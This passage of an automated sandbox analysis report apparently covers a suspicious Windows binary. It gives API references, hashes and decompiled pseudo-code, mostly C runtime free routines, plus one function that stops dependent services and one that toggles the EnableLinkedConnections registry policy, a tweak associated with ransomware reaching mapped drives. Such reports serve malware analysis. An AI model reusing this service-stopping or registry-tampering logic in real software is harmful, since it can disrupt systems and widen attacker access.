QueryServiceStatusEx.ADVAPI32(00000000,00000000,?,00000024,00000000), ref: 00ABF9EE
GetTickCount.KERNEL32 ref: 00ABFA02
ControlService.ADVAPI32(00000000,00000001,?,00000000,00000000,?), ref: 00ABFA32
Sleep.KERNEL32(?), ref: 00ABFA46
QueryServiceStatusEx.ADVAPI32(00000000,00000000,?,00000024,00000000), ref: 00ABFA5C
GetTickCount.KERNEL32 ref: 00ABFA72
CloseServiceHandle.ADVAPI32(00000000), ref: 00ABFA88
CloseServiceHandle.ADVAPI32(00000000), ref: 00ABFA92

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Service$CountQueryStatusTick$CloseHandleOpenSleep$ControlManagerstd::ios_base::good
String ID:
API String ID: 3349164940-0
Opcode ID: fec28b5bdc8ca3907821cc2253afdc7db58768072c57f78dedaa4a64150e97e5
Instruction ID: 521446f258082f9ecdfda5219d5ddf8f71d2e25bcc7ea77bb96e6950fda53874
Opcode Fuzzy Hash: fec28b5bdc8ca3907821cc2253afdc7db58768072c57f78dedaa4a64150e97e5
Instruction Fuzzy Hash: A351EC70D00208EFDB18DFE9DD98BEDBBB9AF4C340F548029E509A7291DB749A44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00B08C4C, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B08C4C(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0xb42190) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E00B00B7F(_t46);
							E00B07FE0( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E00B00B7F(_t47);
							E00B08497( *((intOrPtr*)(_t74 + 0x88)));
						}
						E00B00B7F( *((intOrPtr*)(_t74 + 0x7c)));
						E00B00B7F( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E00B00B7F( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E00B00B7F( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E00B00B7F( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E00B00B7F( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E00B08DBF( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0xb42378) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E00B00B7F(_t31);
							E00B00B7F( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E00B00B7F(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E00B00B7F(_t74);
			}

0x00b08c54
0x00b08c58
0x00b08c60
0x00b08c69
0x00b08c6e
0x00b08c75
0x00b08c7d
0x00b08c85
0x00b08c90
0x00b08c96
0x00b08c97
0x00b08c9f
0x00b08ca7
0x00b08cb2
0x00b08cb8
0x00b08cbc
0x00b08cc7
0x00b08ccd
0x00b08c6e
0x00b08cce
0x00b08cd6
0x00b08ce9
0x00b08cfc
0x00b08d0a
0x00b08d15
0x00b08d1a
0x00b08d23
0x00b08d2b
0x00b08d2c
0x00b08d32
0x00b08d35
0x00b08d38
0x00b08d3f
0x00b08d41
0x00b08d45
0x00b08d4d
0x00b08d54
0x00b08d5a
0x00b08d5b
0x00b08d5b
0x00b08d62
0x00b08d64
0x00b08d69
0x00b08d71
0x00b08d76
0x00b08d77
0x00b08d77
0x00b08d7a
0x00b08d7d
0x00b08d80
0x00b08d83
0x00b08d83
0x00b08d95

APIs

___free_lconv_mon.LIBCMT ref: 00B08C90

Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B07FFD
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B0800F
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B08021
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B08033
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B08045
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B08057
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B08069
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B0807B
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B0808D
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B0809F
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B080B1
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B080C3
Part of subcall function 00B07FE0: _free.LIBCMT ref: 00B080D5

_free.LIBCMT ref: 00B08C85

Part of subcall function 00B00B7F: HeapFree.KERNEL32(00000000,00000000,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?), ref: 00B00B95
Part of subcall function 00B00B7F: GetLastError.KERNEL32(?,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?,?), ref: 00B00BA7

_free.LIBCMT ref: 00B08CA7
_free.LIBCMT ref: 00B08CBC
_free.LIBCMT ref: 00B08CC7
_free.LIBCMT ref: 00B08CE9
_free.LIBCMT ref: 00B08CFC
_free.LIBCMT ref: 00B08D0A
_free.LIBCMT ref: 00B08D15
_free.LIBCMT ref: 00B08D4D
_free.LIBCMT ref: 00B08D54
_free.LIBCMT ref: 00B08D71
_free.LIBCMT ref: 00B08D89

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: a57c39a8630d621a12b30c7b5a740c63bcfb2a19573c58b67abad033c7d1745c
Instruction ID: db1dfae98b1d7107201d9bd97c88f68739b2543048a4c2999888ebe7b7b355f1
Opcode Fuzzy Hash: a57c39a8630d621a12b30c7b5a740c63bcfb2a19573c58b67abad033c7d1745c
Instruction Fuzzy Hash: 7B313D316007019FEB31AA38D845B6A7BE9EF10354F148AA9F49CD71E1DF31AE80CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00B080DE, Relevance: 18.4, APIs: 12, Instructions: 375
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00B080DE(void* __edx, char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				intOrPtr* _v20;
				signed int _v24;
				char _v28;
				signed int _t105;
				signed int _t115;
				signed int _t117;
				signed int _t121;
				signed int _t125;
				signed int _t129;
				signed int _t133;
				signed int _t137;
				signed int _t141;
				signed int _t145;
				signed int _t149;
				signed int _t153;
				signed int _t157;
				signed int _t161;
				signed int _t165;
				signed int _t169;
				signed int _t173;
				signed int _t177;
				signed int _t181;
				signed int _t185;
				signed int _t189;
				char _t195;
				intOrPtr* _t196;
				char _t209;
				signed int _t212;
				char _t221;
				char _t222;
				void* _t225;
				char* _t227;
				signed int _t228;
				signed int _t232;
				signed int _t233;
				intOrPtr _t234;
				void* _t235;
				void* _t237;
				char* _t258;

				_t225 = __edx;
				_t209 = _a4;
				_v16 = 0;
				_v28 = _t209;
				_v24 = 0;
				if( *((intOrPtr*)(_t209 + 0xac)) != 0 ||  *((intOrPtr*)(_t209 + 0xb0)) != 0) {
					_t235 = E00B00B22(0, 1, 0x50);
					_v8 = _t235;
					E00B00B7F(0);
					if(_t235 != 0) {
						_t228 = E00B00B22(0, 1, 4);
						_v12 = _t228;
						E00B00B7F(0);
						if(_t228 != 0) {
							if( *((intOrPtr*)(_t209 + 0xac)) == 0) {
								_t212 = 0x14;
								memcpy(_v8, 0xb42190, _t212 << 2);
								L24:
								_t237 = _v8;
								_t232 = _v16;
								 *_t237 =  *( *(_t209 + 0x88));
								 *((intOrPtr*)(_t237 + 4)) =  *((intOrPtr*)( *(_t209 + 0x88) + 4));
								 *((intOrPtr*)(_t237 + 8)) =  *((intOrPtr*)( *(_t209 + 0x88) + 8));
								 *((intOrPtr*)(_t237 + 0x30)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x30));
								 *((intOrPtr*)(_t237 + 0x34)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x34));
								 *_v12 = 1;
								if(_t232 != 0) {
									 *_t232 = 1;
								}
								goto L26;
							}
							_t233 = E00B00B22(0, 1, 4);
							_v16 = _t233;
							E00B00B7F(0);
							if(_t233 != 0) {
								_t234 =  *((intOrPtr*)(_t209 + 0xac));
								_t14 = _t235 + 0xc; // 0xc
								_t115 = E00B06102(_t225);
								_t117 = E00B06102(_t225,  &_v28, 1, _t234, 0x14, _v8 + 0x10,  &_v28);
								_t121 = E00B06102(_t225,  &_v28, 1, _t234, 0x16, _v8 + 0x14, 1);
								_t125 = E00B06102(_t225,  &_v28, 1, _t234, 0x17, _v8 + 0x18, _t234);
								_v20 = _v8 + 0x1c;
								_t129 = E00B06102(_t225,  &_v28, 1, _t234, 0x18, _v8 + 0x1c, 0x15);
								_t133 = E00B06102(_t225,  &_v28, 1, _t234, 0x50, _v8 + 0x20, _t14);
								_t137 = E00B06102(_t225);
								_t141 = E00B06102(_t225,  &_v28, 0, _t234, 0x1a, _v8 + 0x28,  &_v28);
								_t145 = E00B06102(_t225,  &_v28, 0, _t234, 0x19, _v8 + 0x29, 1);
								_t149 = E00B06102(_t225,  &_v28, 0, _t234, 0x54, _v8 + 0x2a, _t234);
								_t153 = E00B06102(_t225,  &_v28, 0, _t234, 0x55, _v8 + 0x2b, 0x51);
								_t157 = E00B06102(_t225,  &_v28, 0, _t234, 0x56, _v8 + 0x2c, _v8 + 0x24);
								_t161 = E00B06102(_t225);
								_t165 = E00B06102(_t225,  &_v28, 0, _t234, 0x52, _v8 + 0x2e,  &_v28);
								_t169 = E00B06102(_t225,  &_v28, 0, _t234, 0x53, _v8 + 0x2f, 0);
								_t173 = E00B06102(_t225,  &_v28, 2, _t234, 0x15, _v8 + 0x38, _t234);
								_t177 = E00B06102(_t225,  &_v28, 2, _t234, 0x14, _v8 + 0x3c, 0x57);
								_t181 = E00B06102(_t225,  &_v28, 2, _t234, 0x16, _v8 + 0x40, _v8 + 0x2d);
								_push(_v8 + 0x44);
								_push(0x17);
								_push(_t234);
								_t185 = E00B06102(_t225);
								_t189 = E00B06102(_t225,  &_v28, 2, _t234, 0x50, _v8 + 0x48,  &_v28);
								if((E00B06102(_t225,  &_v28, 2, _t234, 0x51, _v8 + 0x4c, 2) | _t115 | _t117 | _t121 | _t125 | _t129 | _t133 | _t137 | _t141 | _t145 | _t149 | _t153 | _t157 | _t161 | _t165 | _t169 | _t173 | _t177 | _t181 | _t185 | _t189) == 0) {
									_t227 =  *_v20;
									while(1) {
										_t195 =  *_t227;
										if(_t195 == 0) {
											break;
										}
										_t61 = _t195 - 0x30; // -48
										_t221 = _t61;
										if(_t221 > 9) {
											if(_t195 != 0x3b) {
												L16:
												_t227 = _t227 + 1;
												continue;
											}
											_t258 = _t227;
											do {
												_t196 = _t258 + 1;
												_t222 =  *_t196;
												 *_t258 = _t222;
												_t258 = _t196;
											} while (_t222 != 0);
											continue;
										}
										 *_t227 = _t221;
										goto L16;
									}
									goto L24;
								}
								E00B07FE0(_v8);
								E00B00B7F(_v8);
								E00B00B7F(_v12);
								E00B00B7F(_v16);
								goto L4;
							}
							E00B00B7F(_t235);
							E00B00B7F(_v12);
							L7:
							goto L4;
						}
						E00B00B7F(_t235);
						goto L7;
					}
					L4:
					return 1;
				} else {
					_t232 = 0;
					_v12 = 0;
					_t237 = 0xb42190;
					L26:
					_t105 =  *(_t209 + 0x84);
					if(_t105 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t209 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t105 | 0xffffffff) == 0) {
							E00B00B7F( *(_t209 + 0x88));
							E00B00B7F( *((intOrPtr*)(_t209 + 0x7c)));
						}
					}
					 *((intOrPtr*)(_t209 + 0x7c)) = _v12;
					 *(_t209 + 0x84) = _t232;
					 *(_t209 + 0x88) = _t237;
					return 0;
				}
			}

0x00b080de
0x00b080e7
0x00b080ee
0x00b080f1
0x00b080f4
0x00b080fd
0x00b0811f
0x00b08123
0x00b08126
0x00b08130
0x00b08143
0x00b08147
0x00b0814a
0x00b08154
0x00b08166
0x00b083f9
0x00b083fa
0x00b083fc
0x00b08404
0x00b08408
0x00b0840d
0x00b08418
0x00b08424
0x00b08430
0x00b0843c
0x00b08442
0x00b08446
0x00b08448
0x00b08448
0x00000000
0x00b08446
0x00b08175
0x00b08179
0x00b0817c
0x00b08186
0x00b0819a
0x00b081a0
0x00b081ad
0x00b081c4
0x00b081db
0x00b081f2
0x00b08202
0x00b0820f
0x00b08226
0x00b0823d
0x00b08254
0x00b0826e
0x00b08285
0x00b0829c
0x00b082b3
0x00b082cd
0x00b082e4
0x00b082fb
0x00b08312
0x00b0832c
0x00b08343
0x00b08350
0x00b08351
0x00b08353
0x00b0835a
0x00b08371
0x00b08395
0x00b083c3
0x00b083d2
0x00b083d2
0x00b083d6
0x00000000
0x00000000
0x00b083c7
0x00b083c7
0x00b083cd
0x00b083dc
0x00b083d1
0x00b083d1
0x00000000
0x00b083d1
0x00b083de
0x00b083e0
0x00b083e0
0x00b083e3
0x00b083e5
0x00b083e7
0x00b083e9
0x00000000
0x00b083ed
0x00b083cf
0x00000000
0x00b083cf
0x00000000
0x00b083d8
0x00b0839b
0x00b083a1
0x00b083aa
0x00b083b3
0x00000000
0x00b083b8
0x00b08189
0x00b08192
0x00b0815c
0x00000000
0x00b0815c
0x00b08157
0x00000000
0x00b08157
0x00b08132
0x00000000
0x00b08107
0x00b08107
0x00b08109
0x00b0810c
0x00b0844a
0x00b0844a
0x00b08452
0x00b08454
0x00b08454
0x00b0845c
0x00b08461
0x00b08465
0x00b0846d
0x00b08475
0x00b0847b
0x00b08465
0x00b0847f
0x00b08484
0x00b0848a
0x00000000
0x00b0848a

APIs

_free.LIBCMT ref: 00B08126
_free.LIBCMT ref: 00B0814A
_free.LIBCMT ref: 00B08157
_free.LIBCMT ref: 00B0817C
_free.LIBCMT ref: 00B08189
_free.LIBCMT ref: 00B08192
_free.LIBCMT ref: 00B0846D
_free.LIBCMT ref: 00B08475

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 52fa3c8d9a8ade25dee7c77f9d93638e8db3abfbbb653487af1ac3b4b807b4eb
Instruction ID: dc275c026ba53763ef0bf474c1b3d52901b87ef0a283e46abcec61ba287d112f
Opcode Fuzzy Hash: 52fa3c8d9a8ade25dee7c77f9d93638e8db3abfbbb653487af1ac3b4b807b4eb
Instruction Fuzzy Hash: 60C11272D40205ABEB20DBA8CC87FAE7BF9AB58700F1441A5FA45FB2C2D6709A419754

Uniqueness

Uniqueness Score: -1.00%

Function 00AA5CD0, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00AA5CD0(signed char _a4) {
				signed int _v8;
				char _v12;
				void* _v16;
				void* _v20;
				long _v24;
				long _v28;
				void* __ebp;
				signed int _t16;
				void* _t28;
				void* _t35;
				void* _t36;
				signed int _t37;

				_t16 =  *0xb42074; // 0x80d348a2
				_v8 = _t16 ^ _t37;
				if((_a4 & 0x000000ff) == 0) {
					_t34 =  &_v20;
					_v28 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, 0xf003f,  &_v20);
					if(_v28 == 0) {
						RegDeleteValueW(_v20, L"EnableLinkedConnections");
						RegCloseKey(_v20);
					}
				} else {
					_v24 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, 0xf003f,  &_v16);
					if(_v24 == 0) {
						_v12 = 1;
						_t34 =  &_v12;
						RegSetValueExW(_v16, L"EnableLinkedConnections", 0, 4,  &_v12, 4);
						RegCloseKey(_v16);
					}
				}
				return E00ADA4E2(_t28, _v8 ^ _t37, _t34, _t35, _t36);
			}

0x00aa5cd6
0x00aa5cdd
0x00aa5ce6
0x00aa5d38
0x00aa5d53
0x00aa5d5a
0x00aa5d65
0x00aa5d6f
0x00aa5d6f
0x00aa5ce8
0x00aa5d03
0x00aa5d0a
0x00aa5d0c
0x00aa5d15
0x00aa5d26
0x00aa5d30
0x00aa5d30
0x00aa5d36
0x00aa5d82

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,00000000,000F003F,?), ref: 00AA5CFD
RegSetValueExW.ADVAPI32(?,EnableLinkedConnections,00000000,00000004,00000001,00000004), ref: 00AA5D26
RegCloseKey.ADVAPI32(?), ref: 00AA5D30
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,00000000,000F003F,?), ref: 00AA5D4D
RegDeleteValueW.ADVAPI32(?,EnableLinkedConnections), ref: 00AA5D65
RegCloseKey.ADVAPI32(?), ref: 00AA5D6F

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, xrefs: 00AA5D43
EnableLinkedConnections, xrefs: 00AA5D1D
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, xrefs: 00AA5CF3
EnableLinkedConnections, xrefs: 00AA5D5C

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseOpenValue$Delete
String ID: EnableLinkedConnections$EnableLinkedConnections$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
API String ID: 4171954881-224122817
Opcode ID: 94d5e31b1f0eada7c2b17d65bd4b71e875432f9861ff3227a86b235ab094a05a
Instruction ID: e8935a24376fbd04adcb39a5218467541a966a2400f7a1fd74725001e22148fa
Opcode Fuzzy Hash: 94d5e31b1f0eada7c2b17d65bd4b71e875432f9861ff3227a86b235ab094a05a
Instruction Fuzzy Hash: F8115874E50218EBDB24DBE0DC4EBBDB7B4BB48700F904848B615AB290DBB05A04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00ABFB40, Relevance: 16.7, APIs: 11, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00ABFB40(intOrPtr __ecx, void* __edx, void* _a4, void* _a8, long _a12) {
				int _v8;
				signed int _v12;
				char _v20;
				signed int _v32;
				int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				struct _SERVICE_STATUS _v72;
				int _v76;
				void* _v80;
				signed int _v84;
				void* _v88;
				long _v92;
				intOrPtr _v96;
				void _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t62;
				signed int _t63;
				int* _t83;
				void* _t87;
				void* _t109;
				void* _t114;
				signed int _t117;
				void* _t118;
				void* _t119;

				_push(0xfffffffe);
				_push(0xb3d330);
				_push(E00B102B2);
				_push( *[fs:0x0]);
				_t119 = _t118 + 0xffffff90;
				_t62 =  *0xb42074; // 0x80d348a2
				_v12 = _v12 ^ _t62;
				_t63 = _t62 ^ _t117;
				_v32 = _t63;
				_push(_t63);
				 *[fs:0x0] =  &_v20;
				_v96 = __ecx;
				if(_a8 != 0) {
					_v76 = 0;
					_v36 = 0;
					_v80 = 0;
					_v72 = 0;
					_v68 = 0;
					_v64 = 0;
					_v60 = 0;
					_v56 = 0;
					_v52 = 0;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0;
					_v92 = GetTickCount();
					if(EnumDependentServicesW(_a8, 1, _v80, 0,  &_v76,  &_v36) == 0) {
						if(GetLastError() == 0xea) {
							_t104 = _v76;
							_v80 = HeapAlloc(GetProcessHeap(), 8, _v76);
							if(_v80 != 0) {
								_v8 = 0;
								_t104 = _v76;
								if(EnumDependentServicesW(_a8, 1, _v80, _v76,  &_v76,  &_v36) != 0) {
									_v84 = 0;
									while(_v84 < _v36) {
										memcpy( &_v132,  &(_v80[_v84]), 9 << 2);
										_t119 = _t119 + 0xc;
										_t104 = _a4;
										_v88 = OpenServiceW(_a4, _v132, 0x24);
										if(_v88 != 0) {
											_v8 = 1;
											if(ControlService(_v88, 1,  &_v72) != 0) {
												while(_v68 != 1) {
													Sleep(_a12);
													_t83 =  &_v76;
													__imp__QueryServiceStatusEx(_v88, 0,  &_v72, 0x24, _t83);
													if(_t83 != 0) {
														if(_v68 != 1) {
															if(GetTickCount() - _v92 <= _a12) {
																continue;
															} else {
															}
														} else {
														}
													} else {
													}
													goto L25;
												}
											} else {
											}
											L25:
											_v8 = 0;
											E00ABFD01();
											_t104 = _v84 + 1;
											_v84 = _v84 + 1;
											continue;
										} else {
										}
										goto L27;
									}
								} else {
								}
								L27:
								_v8 = 0xfffffffe;
								E00ABFD1F();
							} else {
							}
						} else {
						}
					} else {
					}
				} else {
				}
				 *[fs:0x0] = _v20;
				_pop(_t109);
				_pop(_t114);
				_pop(_t87);
				return E00ADA4E2(_t87, _v32 ^ _t117, _t104, _t109, _t114);
			}

0x00abfb43
0x00abfb45
0x00abfb4a
0x00abfb55
0x00abfb56
0x00abfb59
0x00abfb5e
0x00abfb61
0x00abfb63
0x00abfb69
0x00abfb6d
0x00abfb73
0x00abfb7a
0x00abfb81
0x00abfb88
0x00abfb8f
0x00abfb98
0x00abfb9b
0x00abfb9e
0x00abfba1
0x00abfba4
0x00abfba7
0x00abfbaa
0x00abfbad
0x00abfbb0
0x00abfbb9
0x00abfbd8
0x00abfbef
0x00abfbf6
0x00abfc09
0x00abfc10
0x00abfc17
0x00abfc26
0x00abfc3c
0x00abfc43
0x00abfc55
0x00abfc70
0x00abfc70
0x00abfc78
0x00abfc82
0x00abfc89
0x00abfc90
0x00abfca9
0x00abfcad
0x00abfcb7
0x00abfcbd
0x00abfccd
0x00abfcd5
0x00abfcdd
0x00abfced
0x00000000
0x00000000
0x00abfcef
0x00000000
0x00abfcdf
0x00000000
0x00abfcd7
0x00000000
0x00abfcd5
0x00000000
0x00abfcab
0x00abfcf3
0x00abfcf3
0x00abfcfa
0x00abfc4f
0x00abfc52
0x00000000
0x00000000
0x00abfc8b
0x00000000
0x00abfc89
0x00000000
0x00abfc3e
0x00abfd11
0x00abfd11
0x00abfd18
0x00000000
0x00abfc12
0x00000000
0x00abfbf1
0x00000000
0x00abfbda
0x00000000
0x00abfb7c
0x00abfd36
0x00abfd3e
0x00abfd3f
0x00abfd40
0x00abfd4e

APIs

GetTickCount.KERNEL32 ref: 00ABFBB3
EnumDependentServicesW.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000), ref: 00ABFBD0

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountDependentEnumServicesTick
String ID:
API String ID: 2646064813-0
Opcode ID: 4616f3f324829e248b9e06d2b15505b62a2b15e4322851120b9c3b9ed8685ed1
Instruction ID: a8dc704c08c26fc500214e09ede903c3b0ff20870cba2da7889fd54f1edb233b
Opcode Fuzzy Hash: 4616f3f324829e248b9e06d2b15505b62a2b15e4322851120b9c3b9ed8685ed1
Instruction Fuzzy Hash: 43511A71D04208EFDB14CFE4DD48BEEBBB8FB48304F24852AE906AB281DB749945DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00AD8632, Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 266
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00AD8632(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _t109;
				intOrPtr* _t113;
				void* _t124;
				void* _t132;
				signed int* _t133;
				void* _t134;
				void* _t135;

				_t135 = __eflags;
				E00ADAEE9();
				_t132 = __ecx;
				E00AC38CC(_t134 - 0x1c,  *((intOrPtr*)( *((intOrPtr*)(_t134 + 0x1c)) + 0x30)));
				 *(_t134 - 4) =  *(_t134 - 4) & 0x00000000;
				_t109 = E00AC35CB(__edx, _t135, _t134 - 0x1c, 0x10);
				 *(_t134 - 4) =  *(_t134 - 4) | 0xffffffff;
				 *((intOrPtr*)(_t134 - 0x10)) = _t109;
				E00AA1D80(_t134 - 0x1c);
				_t133 =  *(_t134 + 0x20);
				_t124 =  *((char*)(_t134 + 0x28)) + 0xffffffbf;
				 *((intOrPtr*)(_t134 - 0x18)) = 0;
				 *_t133 = 0;
				if(_t124 > 0x38) {
					L38:
					 *_t133 = 2;
					L39:
					if(E00AC6C2D(_t134 + 0xc, _t134 + 0x14) != 0) {
						 *_t133 =  *_t133 | 0x00000001;
					}
					_t113 =  *((intOrPtr*)(_t134 + 8));
					 *_t113 =  *((intOrPtr*)(_t134 + 0xc));
					 *((intOrPtr*)(_t113 + 4)) =  *((intOrPtr*)(_t134 + 0x10));
					E00ADAEB2();
					return _t113;
				}
				switch( *((intOrPtr*)(( *(_t124 + 0xad899e) & 0x000000ff) * 4 +  &M00AD8942))) {
					case 0:
						_t116 = E00AD5E5C(_t132, _t134 - 0x1c,  *((intOrPtr*)(_t134 + 0xc)),  *((intOrPtr*)(_t134 + 0x10)),  *((intOrPtr*)(_t134 + 0x14)),  *((intOrPtr*)(_t134 + 0x18)), _t118, _t133,  *((intOrPtr*)(_t134 + 0x24)));
						goto L3;
					case 1:
						__eax = __ebp - 0x1c;
						__ecx = __edi;
						__eax = E00AD5E24(__ecx, __ebp - 0x1c,  *(__ebp + 0xc),  *((intOrPtr*)(__ebp + 0x10)),  *(__ebp + 0x14),  *((intOrPtr*)(__ebp + 0x18)), __ebx, __esi,  *(__ebp + 0x24));
